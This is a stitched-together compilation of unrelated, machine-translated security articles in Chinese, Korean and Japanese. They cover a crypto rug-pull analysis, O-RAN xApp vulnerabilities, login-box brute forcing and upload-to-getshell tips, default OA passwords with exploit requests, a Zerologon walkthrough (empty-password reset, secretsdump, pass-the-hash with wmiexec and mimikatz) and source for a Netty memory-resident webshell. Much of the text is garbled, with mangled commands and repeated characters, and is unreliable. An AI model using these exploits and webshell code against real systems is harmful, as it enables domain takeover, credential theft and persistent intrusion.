深入研究該函數,我們發現詐騙者使用了來自Uniswap Router (varg0)的“swapExcatToekensSupportingFeeOnTransferTokens”函數,從WETH(varg1)到GROK(varg2)以及從GROK到WETH交換了9次(varg4),總金額為420,000美元,這增加了令牌的數量並吸引交易者和機器人購買它。

swap循環可以在下面的截圖中看到:

1.png

在騙局的最後階段,詐騙在吸引了足夠數量的買家和令牌價格上漲後,從令牌的流動性池中提取了資金。事實證明,他們有81次從他們的欺騙性代幣中去除流動性。

11.png

總結隨著加密領域的不斷發展,保持警惕和了解情況對投資者來說至關重要。最近的Rug Pull事件提醒我們,有必要提高安全意識。通過了解詐騙所採用的策略,我們可以共同努力創造一個更安全、更可靠的加密環境。

如何避免Rug Pull事件的發生:1.在投入資金之前認真研究任何分析投資機會。了解團隊成員、他們的背景以及他們之前的項目。投資者應該對未公開信息的項目抱有質疑態度,要通過項目官網、社交媒體賬戶、社區熱度質量以及白皮書等信息。

2.評估項目團隊的可信度和合法性。尋找與該項目相關的開發人員的信息和知名度。

3.評估項目的社區參與度。團隊積極、透明的溝通至關重要,如果缺乏參與或團隊迴避回答重要問題,請務必謹慎。

4.正規且高質量的項目都會由信譽良好的第三方機構進行代碼審計,外部審計對於去中心化的加密項目格外重要,如果一個項目始終沒有進行代碼外部審計,這個項目就有很多潛在性的風險。投資者應該多方驗證項目外部審計結果,並只認可權威第三方出具的代碼審計報告,代碼中沒有發現任何惡意的項目才值得考慮投資與否。

5.驗證項目的流動性是否鎖定,流動性鎖定減少了撤資的可能性。識別大部分“Rug Pull”騙局最簡單也十分有效的方式是檢查流動性池是否被鎖定,流動性池鎖定的項目安全性較高,有權威第三方參與的鎖定流動性池的項目安全性更高,而流動性池未鎖定的項目極為危險,因為項目方可以輕而易舉地竊取流動性池子裡的所有加密貨幣。

投資者還應檢查流動性池被鎖定的比例,鎖定的比例和項目安全性成正比,一般而言,鎖定的比例應該在80%到100%之間,此外,鎖定的時間也是很重要的指標,流動性池應當受基於時間函數的限制,這意味著沒有人可以在時間限制範圍內移動池子裡的加密貨幣。

6.不要把所有雞蛋放在一個籃子裡。將投資分散到多個項目和資產類別。

7.賣盤控制。賣盤控制是通過惡意代碼實現的,這種方式較為隱秘,投資者可以通過小額購買代幣然後出售的方式來進行測試,如果無法出售,該項目就可判定為騙局。

8.異常暴漲。一個新的項目代幣在沒有重大利好情況下,突然異動暴漲,往往就是利用散戶普遍的“追漲殺跌”心態吸引散戶入局,而代幣價格拉高之後就是大量拋售,也就是常說的“割韭菜”。

投資者可以通過區塊瀏覽器來檢查代幣持有者的數量,數量過少的代幣價格容易被操縱,騙局的可能性極大。

9.可疑的高收益。 “Rug Pull”騙局很多時候就是龐氏騙局,這類騙局就是通過極具誘人的高收益來誘騙投資者,進而欺詐投資者投入的本金,也可以說,收益越高,風險就越大,投資者應該始終保持清醒的頭腦,進而做出明智的判斷。

開放式無線接入網(ORAN or O-RAN) 是搭建一個開放、虛擬化和智能的無線接入網(RAN) 體系結構,從而創造一個包含多家廠商、各家廠商的產品之間可以互操的生態系統。開放無線接入網(ORAN)體系結構為以前封閉的系統提供了標準化的接口和協議。然而,通過對ORAN的研究表明,惡意xApps構成的潛在威脅能夠危及整個Ran智能控制器(RIC)子系統。 Open RAN為5G無線接入網(RAN)引入了模塊化和解耦的設計範式,並承諾通過O-RAN定義的RAN智能控制器(RIC, RAN Intelligent Controller)實現完全的可編程性。

開放式無線電接入網架構通過建立標準接口和協議提供了對先前封閉的無線電接入網系統的接入。預計不同的供應商將在O-RAN中創建eXtended應用程序(xApps),由運營商安裝,這使得xApps成為惡意攻擊者的潛在攻擊向量,目的是在關鍵通信節點中站穩腳跟。

本文將會介紹惡意xApp如何危害整個RAN智能控制器(RIC)子系統。

5G網絡下圖為5G蜂窩網絡的總體架構。通過對分組核心的一些修改,拓撲結構也可以擴展以適應前幾代網絡(如3G和4G)。在下圖的左側是用戶:

1.png

5G網絡的端到端架構

基站(如圖2所示)由以下組件組成:

1.發射和接收無線電信號的天線。

2.一種遠程無線電頭(RRH),它容納射頻(RF)收發器,負責將數字信號轉換為無線電信號,反之亦然。

3.一種基帶單元(BBU),用於處理數字數據處理,包括調製、編碼和解碼以及更高層協議。 BBU可以管理多個RRH和天線。

2.png

典型RAN架構的組件

rrh通常位於天線附近,安裝在手機信號塔上。 BBUs曾經與蜂窩塔同處一處,但目前的基礎設施促使它們會位於更遠的中心位置。 RAN的演變如本文所示。

vRAN(虛擬化RAN)是一種運行在商用現成硬件上的虛擬化BBU。在分離式vRAN設計中,BBU分為CU (central unit)和DU (distributed unit)兩部分。

Open RAN儘管虛擬化和分解,RAN體系結構仍然相對封閉(也就是說,大多數組件必須來自同一供應商以確保兼容性)。當網絡架構關閉時,運營商通常需要向單一供應商支付巨額費用來購買設備和技術。

O-RAN架構旨在通過採用開放的標準、接口和協議來實現互操作性和靈活性。開放式RAN打破了系統的封閉性,允許運營商從不同的供應商選擇設備和軟件,從而實現更高程度的網絡定制(例如,從一個供應商購買CU,然後從另一個供應商獲得DU)。這允許更多的二、三線設備製造商參與進來。

O-RAN不僅僅是開放接口,它還通過基於人工智能的控制實現對下一代ran的開放訪問。本地網絡實體和RIC之間的開放接口可以促進無線電資源的實時感知、管理和響應。然而,由於其開放標準的性質,O-RAN本質上更容易受到攻擊和其他威脅,因此設計適當的安全機制非常重要。

O-RAN聯盟O-RAN聯盟是一個開放的技術組織,由移動運營商、供應商、研究組織和學術機構組成,致力於推進open RAN概念,該聯盟已經設計了一套open RAN規範。

該聯盟之前與Linux基金會合作開發了該規範的參考實現,稱為O-RAN SC, O-RAN SC規範是開源的,其代碼來自愛立信、諾基亞、三星、Radisys和ATT等頂級RAN供應商。鑑於這種協作努力,許多供應商更有可能將O-RAN SC代碼納入其商業產品中。

O-RAN架構O-RAN聯盟在其網站上提供了O-RAN架構的概述,下圖顯示了O-RAN如何適應5G網絡拓撲結構。

3.png

O-RAN如何適應5G網絡拓撲結構

Near-RT RIC和RIC消息路由器(RMR)Near-RT RIC使用E2接口來控制底層的RAN組件(包括CU、DU和RU),可以將它看作OpenFlow在RAN中的對應組件。 E2接口的要求是能夠將Near-RT RIC連接不同供應商的不同類型的RAN組件。這個要求反映在圍繞服務模型(Service Model) 抽象的API中,其思想是每個RAN組件都發布一個服務模型,定義該組件能夠支持的RAN功能集。

Near-RTRIC是O-RAN體系結構的重要組成部分之一,它對網絡中的RF資源進行監控和管理,以優化網絡性能。它可以實時收集和分析網絡數據,還可以做出智能決策,優化無線資源的配置,使這些資源能夠滿足不同終端設備和服務的需求。

在Near-RT的RIC中,還有許多其他子組件,如E2term、E2Mgr和xApps。這些組件之間的通信依賴於RIC Message Router (RMR)表,在Near-RT的RIC中,該表通常包含與消息的路由和管理相關的信息。這些表包括消息的目的地、優先級、隊列和其他相關屬性等詳細信息。

RMR表包括以下信息:

消息目的地:指定應將消息路由到何處以及應處理該消息的實體或處理程序。優先事項指示處理消息的優先級,以確保重要消息得到更快的響應。

排隊:用於存儲消息以供後續處理。

消息類型:標識消息的類型,以便正確的處理程序能夠處理它。

消息標識符:標識消息的唯一值:它用於跟踪消息狀態和處理進度。

RMR庫是一組用於與RMR表交互的api,它包含在組成Near-RTRIC的組件中,例如xApp和E2Term。例如,兩個獨立xapp之間的交互將通過RMR進行。在這種情況下,xApp_A將根據KPI信息做出判斷,然後通過RMR調用xApp_B。

下圖顯示了使用RMR庫和路由表的Near-RTRIC中組件之間的交互。

4.png

RIC組件如何使用RMR

我們的研究揭示了Near-RTRIC的消息傳遞基礎設施中的多個漏洞。

攻擊方法在Near-RT的RIC中運行,xApps是提供諸如無線電資源優化、網絡監控和性能增強等功能的軟件組件。這些組件可以由網絡運營商、第三方開發人員或網絡設備供應商進一步開發,以增加獨特的價值和功能。從這個意義上說,xApps可以被認為是所有O-RAN組件中最開放的。

這種多廠商生態系統推動了創新,但也帶來了以下挑戰:

安全xApp登錄;

互操作性;

魯棒性問題;

通常情況下,xApps應該來自多個供應商。因此,我們開始研究時假設xApps是一種潛在的攻擊媒介,xApp可能會通過供應鍊或劫持引導進程而受到攻擊。即使是良性的xApp,如果它發出意外的或異常的消息,也會造成傷害。我們的研究結果證實了這些假設。

RMR漏洞CVE-2023-40998:來自xApp的精心製作的惡意數據包導致RT RIC的E2term崩潰。

CVE-2023-40998漏洞涉及錯誤的數據包信息,可能導致解碼過程中的數據包大小為負,從而導致執行內存操作時崩潰。

5.png

CVE-2023-40998消息流

消息大小變為負數的原因是它由數據包的前四個字節決定。如果設置不正確,它可能在解碼過程中導致負值,從而導致崩潰。

CVE-2023-40997:以無效格式發送的精心製作的消息導致Near-RTRIC的E2term崩潰。

6.png

CVE-2023-40997消息流

CVE-2023-40997發送報文無法正確解碼,導致內存地址計算錯誤,導致E2Term崩潰。

CVE-2023-41627:RMR表欺騙E2Term依賴路由管理器定期發送的路由表信息來與RIC系統中的其他組件建立通信,但E2Term不會驗證它接收到的路由表信息的發送方。由於缺乏驗證,攻擊者可以通過向E2Term發送偽造路由表信息來利用CVE-2023-41627漏洞,通過使用路由管理器以更高的頻率將此信息發送給E2Term,攻擊者可以欺騙E2Term併中斷其與其他組件的通信。

7.png

CVE-2023-41627消息流

RMR劫持:兩個xapp使用相同的訂閱ID發送相同的消息類型當xApp_A向訂閱E2節點發送函數ID時,xApp_B向訂閱E2節點發送相同的函數ID。然後,xApp_A RMR表項將被覆蓋,這意味著它不能從E2節點接收消息。相反,E2節點將向第二個xApp_B發送消息。

O-RAN是通信網絡的關鍵組成部分,O-RAN節點存儲加密密鑰並處理用戶流量。

這裡描述的兩個漏洞會導致DoS事件,它們與xApps、RMR和Near-RT的RIC有關。這些組件提供射頻資源優化和流量管理等增值服務。

O-RAN設計用於在RIC/E2組件不可用的情況下進行流量處理。理論上,RIC組件的崩潰不應該關閉蜂窩連接。但是,這可能導致資源利用不暢和服務退化。

同時,RMR欺騙和劫持可以在不關閉任何組件的情況下破壞RIC中的xApp生態系統。這就造成了資源利用率低下和服務退化。

即使是良性的xapp也可能由於實現不當而造成損害。這可能會對O-RAN中多廠商組件的互操作性產生不利影響。

緩解嚴格的驗證和登錄過程可以防止惡意xApps進入系統,即使RIC組件發生故障,確保O-RAN也可以處理網絡流量,這也可以緩解攻擊的影響。

建議使用深度包檢測(DPI)系統來檢查組件之間的流量,以便可以根據需要應用熱補丁。

這個DPI系統能夠理解O-RAN協議。

가장 기본적인 로그인 박스에서 나누십시오

로그인 상자는 HW가 가장 많이 발생하는 캐릭터이며 구멍에서 벗어나기가 가장 쉽습니다. 일반적으로 사용되는 테스트 방법은 다음과 같습니다

로그인 폭발 팁

image-20231130171640751

우리는 다음과 같은 시스템의 폭발에 대한 두 가지 솔루션이 있습니다.

프론트 엔드 암호화 알고리즘을 분석하고, 비밀번호를 암호화하도록 스크립트를 작성하고, 비밀번호를 123456 000000으로 고정하여 공통 사용자 이름을 사전으로 사용하여 두 가지 방법을 폭파하는 두 가지 방법은 고유 한 장점과 단점이 있습니다. 두 번째는 게임에서 더 효율적이며 분석 암호화 알고리즘은 Red Team Detection Project에 더 적합합니다.

image-20231201170955410

Blasted 계정 비밀번호를 사용하여 백그라운드에 로그인하면 배경 업로드 포인트를 계속 찾을 수 있습니다.

업로드 된 파일 형식을 제한하려면 여기에서 이미지 유형을 참조하십시오.

image-20231201171410743

ASPX 파일 형식 유형을 직접 추가하십시오

image-20231201171600249

성공적인 getshell

image-20231201171755656

반환 패킷 매개 변수를 수정하고 배경을 입력하십시오

때때로 웹 사이트 로그인 상태는 프론트 엔드를 기준으로 판단되며 현재로서는 반환 패키지를 직접 수정하여 우회 할 수 있습니다.

image-20231128172935703

프론트 엔드 판단 로그인 로직은 리턴 패키지의 RET 값을 기반으로 결정됩니다. 반환 값이 1 인 경우 로그인이 성공적으로 로그인됩니다.

image-20231128173007315

배경에 성공적으로 입력했습니다

image-20231128173130312

플러그인은 일반적인 SQL 주입 및 LOG4J 취약성을 감지합니다

권장 SQL 주입 플러그인 https://github.com/smxiazi/xia_sql

기본 원칙은 반환 된 데이터 길이를 기반으로 여러 데이터 패킷을 전송하여 주입이 있는지 여부를 결정하는 것입니다.

image-20231128170800532

수동 스캔 외에도 단일 및 이중 인용문을 수동으로 추가하여 리턴 패키지를 볼 수도 있습니다. 비슷한 오류가 있으면 SQL 주입이있을 수 있습니다.

image-20231128164205795

image-20231205180145610

SQLMAP 셔틀

image-20231128173629321

Log4J 플러그인 권장 https://github.com/thekingofduck/burpfakeip

버프 플러그인 퍼즈 패킷을 통한 헤더 헤더

image-20231128171023433

로그인 상자에서 Log4J 취약성을 성공적으로 감지했습니다

그러나 많은 DNSLOG 플랫폼이 방화벽에 의해 검은 색으로 표시되었으므로 Ceye를 사용하거나 DNSLOG 플랫폼을 직접 구축하는 것이 좋습니다.

image-20231108153844067

시스템 기본 비밀번호 + 배경 1day Exploit

공세 및 방어 경쟁이 점점 더 빈번 해짐에 따라 공개 네트워크에서 직접 악용 할 수있는 프론트 엔드 취약점은 적고 적으며 대부분은 배치 스캔으로 수정되었지만 시스템의 기본 비밀번호를 사용하여 1 일과 결합하여 Utilization을 사용 할 수 있습니다.

기본 비밀번호가있는 경우 admin/admin123

image-20231128173913383

작업을 예약하거나 배경을 입력 할 때 명령을 실행하여 명령을 실행할 수 있습니다.

image-20231128174037559

OA 시스템을 만나면 OA 취약성 감지 도구를 사용하여 허점을 스캔하고 포기합니다. 실제로 이러한 종류의 OA 시스템에서 기본 암호에 문제가있을 수 있습니다.

기본 비밀번호

시스템 관리자 : 시스템/시스템

그룹 관리자 (A8-V5 그룹 버전) Group-Admin/123456

Unit Administrator (A8-V5 Enterprise Edition) admin1/admin123456

감사 관리자 (모든 버전) Audit-Admin/Seeyon123456

image-20231108142849667

때로는 프론트 데스크에서 계정 비밀번호를 사용할 때 로그인 할 수 없습니다. 다음 데이터 패킷을 보내 쿠키를 얻을 수 있습니다.

Post/Seeyon/REST/AUTHENTICATION/UCPCLOGIN HTTP/1.1

호스트 :

user-agent: Mozilla/5.0 (Windows NT 10.0; RV:78.0) Gecko/20100101 Firefox/78.0

컨텐츠 길이 : 71

Content-Type: Application/X-WWW-FORM-URLENCODED

인코딩 : GZIP를 인코딩합니다

userAgentFrom=XXLOGIN_USERNAME=AUDIT-ADMINLOGIN_PASSWORD=SEEYON123456

쿠키를 얻은 후에는 패치의 최신 배경 구멍을 사용하여 심도있게 사용할 수 있습니다. 이번에는 카피 파일 배경 구멍을 사용하십시오.

그러나 실제 전투 후, 나는이 허점에 약간의 함정이 있었고 웹 쉘에 글을 쓸 때 오류가보고되었습니다.

post /seyon/ajax.do?method=ajactionmanagername=portalcssmanagerrnd=111 http/1.1

accept: */*

컨텐츠 -type: Application/x-www-form-urlencoded; charset=utf-8

컨텐츠 길이 : 70

Host: 192.168.91.17

Connection: 유지-알리

user-agent: apache-httpclient/4.5.13 (Java/1.8.0_321)

accept-encoding: gzip, deflate

인수=%5b%22

CVE-2020-1472

https://www.anquanke.com/post/id/219374

本文提到了一种适用于无法恢复其他方法的方法

DeDomain之后,您可以使用PowerShell强制同步并一次重置计算机的机器帐户密码。 (包括AD,注册表,LSA中的密码)。 1powershell Reset-ComputerMachinePassword

环境

12 Domain: AAAA.COMDC: LX-DC01.AAAA.COM -ip- 192.168.1.4

Python版本

poc

https://github.com/SecuraBV/CVE-2020-1472

1Python3 Zerologon_tester.py LX-DC01 192.168.1.4

安装爆炸式

12GIT克隆https://GITHUB.COM/SECUREAUTHCORP/IMPACKET.GITCD impacket pip3 install。

漏洞利用

https://github.com/risksense/zerologon-set_empty_pw.py

1python3 set_empty_pw.py LX-DC01 192.168.1.4

获取域管理员的哈希

1python3 secretsdump.py AAAA.COM/LX-DC01\$@192.168.1.4 -no-pass

使用wmiexec

使用“管理员”哈希获取域管理权限

1python3 wmiexec.py -hashes :BE833AC3F39C0F843B1B653D37C34DBE AAAA.com/administrator@1192.168.1.4

获取目标原始哈希

1010 123REG SAVE HKLM \ hklm \ hklm \ saveg System.savereg Sake Save Save Save HKLM \ Sam.secore Security 33 33 33 33 33 33 33 33 33 123get system.saveget sam.saveget Security.save put点:此步骤可能导致Python无法下载1234个以不同语言的编码。 You can first get the following language and then search for the corresponding encoding https://docs.python.org/3/library/codecs.html specify the following encoding python3 wmiexec.py -hashes :be833ac3f39c0f843b1b653d37c34dbe aaaaa.com/administrator@192.168.1.4 -codec GB2312也可以使用Net用途将文件复制回1234567mimi注射hash hash中cmdprivilege:333:Debugsakurlsakurlsa33333333333333333333333333:ISTRITAR /domain:AAAA /NTLM:BE833AC3AC3F39C0F843B1B653D37C34C34DBENET使用\ \ 192.168.1.1.4copy \\ \ \ \ \ 192.168.1.1.1.1.1.4 \ c $ \ c $ \ c $ \ c333333333333: \ c3: \ \\192.168.1.4\c$\sam.save c:\sam.savecopy \\192.168.1.4\c$\security.save c:\security.save

将导出的哈希文件下载到本地

123del /f system.savedel /f sam.savedel /f security.save

删除域控制主机上导出的哈希文件。

1Python3 SecretSdump.py -sam sam.sam.save -System System.Save -security Security.Save local

使用SecretsDump读取下载到局部区域的哈希文件,并获取原始哈希域控制机器帐户位于前所未有的位置

建议使用:脚本可能缺少XXX软件包,导致错误。我还没有弄清楚原因是什么

https://github.com/mstxq17/cve-2020-1472-RestorePassword.py

1Python3 RestorePassword.py aaaa.com/lx-dc01@lx-dc01 -target-ip 192.168.1.4 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f96956 3803B0F1BAE7CCD24B29B41AE611025F1952793562D73E7F4E7F4E0F4E0F8938B3361332B3 5DD5EE222785B79B922149DB32DC5C9301F4F4FD9FD090F532575BF5197A9C9230955 BFD96AB928AE66B3999730C75B8545E26770816F21F21F2BF9DBBBBB19432211A91224C 4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240 bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960不建议:更暴力,将再次调用,并且使用空密码的哈希来计算session_key

https://github.com/risksense/zerologon -renstall_original_pw.py

1Python3 Reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_IP_IP_ADDR ORIG_NT_HASH

密码恢复

:010

mimikatz版本

1 SHELL C: \ INTEL \ INTEL \ MIMIKATZ.EXE /counch:lx-dc01 $''exit'1lsadump:zerologon /target:192.168.1.4 /councel:lx-dc01 $ :010101010110110 1shell C: \ intel c: 'lsadump:3:zerologon /target:lx-dc01.aaaa.com /counce:lx-dc01 $ /exploit'E exit'1lsAdump:3333:zerologon /target 3:lx-dcell ofer C:\Intel\mimikatz.exe 'lsadump:dcsync /domain:AAAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAAA /authpassword: /authntlm' 'exit'1lsadump:dcsync /domain:AAAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAAAA /authpassword: /authntlm

poc

1shell C:\Intel\mimikatz.exe 'privilege:debug' 'sekurlsa:pth /user:administrator /domain:AAAAA /ntlm:be833ac3f39c0f843b1b653d37c34dbe' 'exit12privilege:debugsekurlsa:pth /user:administrator /domain:AAAAA /NTLM:BE833AC3F39C0F843B1B653D37C34DBE

漏洞利用

1 SHELL C: \ INTEL \ MIMIKATZ.EXE'lsAdump333333:posterologon /Terogolologon /tarogolologon /tarogologon.44.44.44.44.44.444.44。 /counch:lx-dc01 $''exit'1lsadump:3:postzerologon /target:192.168.1.4 /councor3:lx-dc01 $ $

0x01 前言基於netty動態創建pipeline的特性,其內存馬的構造思路與tomcat有一定的區別,目前網上有關netty內存馬的文章都圍繞CVE-2022-22947和XXL-JOB兩種場景展開,並未對其做更為詳細的分析。本文就以上述兩種場景為始,嘗試從源碼角度探究netty內存馬的部分細節,以供大家參考。

0x02 Netty介紹I/O事件:分為出站和入站兩種事件,不同的事件會觸發不同種類的handler。

Handler (ChannelHandler):handler用於處理I/O事件,繼承如下幾種接口,並重寫channelRead方法完成請求的處理,功能類似於filter。

ChannelInboundHandlerAdapter入站I/O事件觸發該

handlerChannelOutboundHandlerAdapter出站I/O事件觸發該

handlerChannelDuplexHandler入站和出站事件均會觸發該handlerChannel (SocketChannel):可以理解為對Socket 的封裝, 提供了Socket 狀態、讀寫等操作,每當Netty 建立了一個連接後,都會創建一個對應的Channel 實例,同時還會初始化和Channel 所對應的pipeline。

Pipeline (ChannelPipeline):由多個handler所構成的雙向鍊錶,並提供如addFirst、addLast等方法添加handler。需要注意的是,每次有新請求入站時,都會創建一個與之對應的channel,同時channel會在io.netty.channel.AbstractChannel#AbstractChannel(io.netty.channel.Channel)裡創建一個與之對應的pipeline。

QQ截图20240613133905.png

構造netty內存馬的一個思路,就是在pipeline中插入我們自定義的handler,同時,由於pipeline動態創建的特性,如何保證handler的持久化才是關鍵,本文以此為出發點,嘗試探究netty內存馬在不同場景下的利用原理。

0x03CVE-2022-22947先來簡單回顧一下CVE-2022-22947是如何注入內存馬的,文中的核心是修改reactor.netty.transport.TransportConfig#doOnChannelInit,在reactor.netty中,channel的初始化位於reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel。

關鍵點如下:

QQ截图20240613133921.png

config.defaultOnChannelInit()返回一個默認的ChannelPipelineConfigurer,隨後調用then方法,進入到reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer,從函數名也能夠看出,這個方法用於合併對象,將當前默認的ChannelPipelineConfigurer與config.doOnChannelInit合二為一,返回一個CompositeChannelPipelineConfigurer。

隨後調用CompositeChannelPipelineConfigurer#onChannelInit,在此處循環調用configurer#onChannelInit,其中就包括我們反射傳入的doOnChannelInit#onChannelInit。

QQ截图20240613134233.png

c0ny1師傅給出的案例,就在onChannelInit內完成handler的添加,由於反射修改了doOnChannelInit,後續有新的請求入站,都會重複上述流程,進而完成handler的持久化。

publicvoidonChannelInit(ConnectionObserverconnectionObserver,Channelchannel,SocketAddresssocketAddress){ChannelPipelinepipeline=channel.pipeline();pipeline.addBefore('reactor.left.httpTrafficHandler','memshell_handler',newNettyMemshell());}另外,從reactor.netty.transport.TransportConfig#doOnChannelInit的路徑也能看出,該場景依賴reactor.netty,並不適用純io.netty的環境,如xxl-job等場景。

0x04XXL-JOB對於純粹的io.netty環境,在XXL-JOB內存馬中給出的答案是定制化內存馬,核心思想是修改com.xxl.job.core.biz.impl.ExecutorBizImpl的實現,由於每次請求都會觸發ServerBootstrap初始化流程,隨即進入.addLast(new EmbedHttpServerHandler(executorBiz, accessToken, bizThreadPool));而EmbedServer中的executorBiz在僅在啟動時觸發實例化,在整個應用程序的生命週期中都不變,使用動態類加載替換其實現,就能完成內存馬的持久化。

QQ截图20240613134332.png

在文章開頭,作者也曾嘗試反射調用pipeline.addBefore,依然是上面所提到的問題,不過很容易發現,通過ServerBootstrap所添加的EmbedHttpServerHandler能夠常駐內存,如果我們想要利用這一特性,還需進一步分析io.netty.bootstrap.ServerBootstrap的初始化過程。

0x05 ServerBootstrap限於篇幅,這裡僅截取關鍵代碼,直接定位到pipeline創建完成之後的片段,首先io.netty.bootstrap.ServerBootstrap#init在pipeline中添加了一個ServerBootstrapAcceptor,需要注意一下這裡的childHandler,這也是一種持久化的思路,後續會繼續提到。

QQ截图20240613134401.png

此時pipeline在內存中的情況如下,可以看到已經添加了ServerBootstrapAcceptor。

QQ截图20240613134442.png

netty介紹部分提及過handler的channelRead方法用於處理請求,因此可以直接去看io.netty.bootstrap.ServerBootstrap.ServerBootstrapAcceptor#channelRead的實現,這裡ServerBootstrapAcceptor把之前傳入的childHandler添加到pipeline中。

QQ截图20240613134450.png

childHandler由開發者所定義,通常會使用如下範式定義ServerBootStrap,也就是添加客戶端連接時所需要的handler。

ServerBootstrapbootstrap=newServerBootstrap();bootstrap.group(bossGroup,workerGroup).channel(NioServerSocketChannel.class).childHandler(newChannelInitializer@OverridepublicvoidinitChannel(SocketChannelchannel)throwsException{channel.pipeline().addLast(.).addLast(.);}})由開發者所定義的ChannelInitializer最終會走到ChannelInitializer#initChannel進行初始化,調用棧如下:

QQ截图20240613134545.png

總結一下該流程,每次請求都將觸發一次ServerBootstrap初始化,隨即pipeline根據現有的ChannelInitializer#initChannel添加其他handler,若能根據這一特性找到ServerBootstrapAcceptor,反射修改childHandler,也完成handler持久化這一目標。

0x06內存馬實現在探究netty的過程中,發現這樣一篇文章: xxl-job利用研究,作者給出的EXP已經很接近完整版了,在文章的最後拋出兩個問題,一是'註冊的handler必須加上@ChannelHandler.Sharable標籤,否則會執行器會報錯崩潰',二是'壞消息是這個內存馬的實現是替換了handler,所以原本執行邏輯會消失,建議跑路前重啟一下執行器'。

這兩個問題很容易解決:

1、對於需要加入@ChannelHandler.Sharable這點而言,實測是不需要的,由於我們自定義的handler是通過new的方式創建的,理論上來講就是unSharable的。

2、反射修改ChannelInitializer導致執行器失效的問題,只需要給bootstrap添加一個EmbedHttpServerHandler就能保留其原有功能。

setFieldValue(embedHttpServerHandler,'childHandler',newChannelInitializer@OverridepublicvoidinitChannel(SocketChannelchannel)throwsException{channel.pipeline().addLast(newIdleStateHandler(0,0,30*3,TimeUnit.SECONDS))//beat3N,closeifidle.addLast(newHttpServe rCodec()).addLast(newHttpObjectAggregator(5*1024*1024))//mergerequestreponsetoFULL.addLast(newNettyThreadHandler()).addLast(newEmbedServer.EmbedHttpServerHandler(newExecutorBizImpl(),'',newThreadPoolExecutor(0,200,60L,TimeUnit.SECONDS,newLinkedBlockingQueu enewThreadFactory(){@OverridepublicThreadnewThread(Runnabler){returnnewThread(r,'xxl-rpc,EmbedServerbizThreadPool-'+r.hashCode());}},newRejectedExecutionHandler(){@OverridepublicvoidrejectedExecution(Runnabler,ThreadPoolExecutorexecutor){thrownewRuntimeExc eption('xxl-job,EmbedServerbizThreadPoolisEXHAUSTED!');}})));}});實戰中的利用還需兼容webshell管理工具,對於CVE-2022-22947而言,已有哥斯拉的馬作為參考,可直接在NettyMemshell基礎上稍作修改,需要注意的是,馬子裡的channelRead方法不能直接使用,問題出在條件判斷處,msg很有可能即實現了HttpRequest,也實現了HttpContent,因此走不到else中的邏輯,修改方式也很簡單,去掉else即可。

QQ截图20240613134637.png

目前實測下來,姑且認為不影響正常的功能,pipeline在內存中的情況如下:

packagecom.xxl.job.service.handler;

importcom.xxl.job.core.biz.impl.ExecutorBizImpl;importcom.xxl.job.core.server.EmbedServer;importio.netty.buffer.ByteBuf;importio.netty.buffer.Unpooled;importio.netty.channel.*;importio.netty.channel.socket.SocketChannel;importio.netty.handler.codec.http.*;importio. netty.handler.timeout.IdleStateHandler;importjava.io.ByteArrayOutputStream;importjava.lang.reflect.Field;importjava.lang.reflect.Method;importjava.net.URL;importjava.net.URLClassLoader;importjava.util.AbstractMap;importjava.util.HashSet;importjava.util.concurrent.*;

importcom.xxl.job.core.log.XxlJobLogger;importcom.xxl.job.core.biz.model.ReturnT;importcom.xxl.job.core.handler.IJobHandler;

publicclassDemoGlueJobHandlerextendsIJobHandler{publicstaticclassNettyThreadHandlerextendsChannelDuplexHandler{Stringxc='3c6e0b8a9c15224a';Stringpass='pass';Stringmd5=md5(pass+xc);Stringresult='';privatestaticThreadLocalAbstractMap.SimpleEntryprivatestaticClasspayload;

privatestaticClassdefClass(byte[]classbytes)throwsException{URLClassLoaderurlClassLoader=newURLClassLoader(newURL[0],Thread.currentThread().getContextClassLoader());Methodmethod=Clas sLoader.class.getDeclaredMethod('defineClass',byte[].class,int.class,int.class);method.setAccessible(true);return(Class)method.invoke(urlClassLoader,classbytes,0,classbytes.length);}

publicbyte[]x(byte[]s,booleanm){try{javax.crypto.Cipherc=javax.crypto.Cipher.getInstance('AES');c.init(m?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),'AES'));returnc.doFinal(s);}catch(Exceptione){returnnull;}}publicstaticStringmd5 (Strings){Stringret=null;try{java.security.MessageDigestm;m=java.security.MessageDigest.getInstance('MD5');m.update(s.getBytes(),0,s.length());ret=newjava.math.BigInteger(1,m.digest()).toString(16).toUpperCase();}catch(Exceptione){}returnret;}

@Override//Step2.作為Handler處理請求,在此實現內存馬的功能邏輯publicvoidchannelRead(ChannelHandlerContextctx,Objectmsg)throwsException{if(((HttpRequest)msg).uri().contains('netty_memshell')){if(m sginstanceofHttpRequest){HttpRequesthttpRequest=(HttpRequest)msg;AbstractMap.SimpleEntryrequestThreadLocal.set(simpleEntry);}if(msginstanceofHttpContent){HttpContenthttpContent

これは長くてダウンしている話です。友達、そこに座って、あなた自身の軽食を持ってきてください。全文には、情報収集と征服の詳細なプロセス、およびこのタイプの詐欺のアイデアの分析と分解が含まれており、予防意識を向上させます。

0x00夢の始まり

晴れた午後でした。毎日のレンガ造りのプロセス中に会社のメールを受け取りました。

email-send

この馴染みのある言葉遣いを見て、私は下の愛着をちらっと見て、おなじみの息が私の顔に来てそれを保存しました。

email-qrcode

その後、管理者はすぐに何かが間違っていることを発見し、従業員のアカウントが盗まれたというメッセージを送信しました。メールのコンテンツを簡単に信用しないでください。元の電子メールはスパムとしてもマークされていました(最後に同様のメールが突然削除され、それが始まる前に問題が終了しました。今回は逃げられませんでした( ̄_、 ̄)。

そして、この写真はすべての夢が始まったところになりました.

0x01情報収集

0x001レビュードメイン名

開始情報は非常に限られています。最初の写真はプロットであり、プロットはすべて推測に基づいていますが、このエントリで十分です。 QRコードの情報を分析するために男を取り出しましょう。

email-qrcode-analyze-url

追加のデータはなく、Webページのリンクの文字列のみがあります。ドメイン名を見ると、口の隅が少し上昇します。最初にドメイン名を分析します:

cmd-nslookup

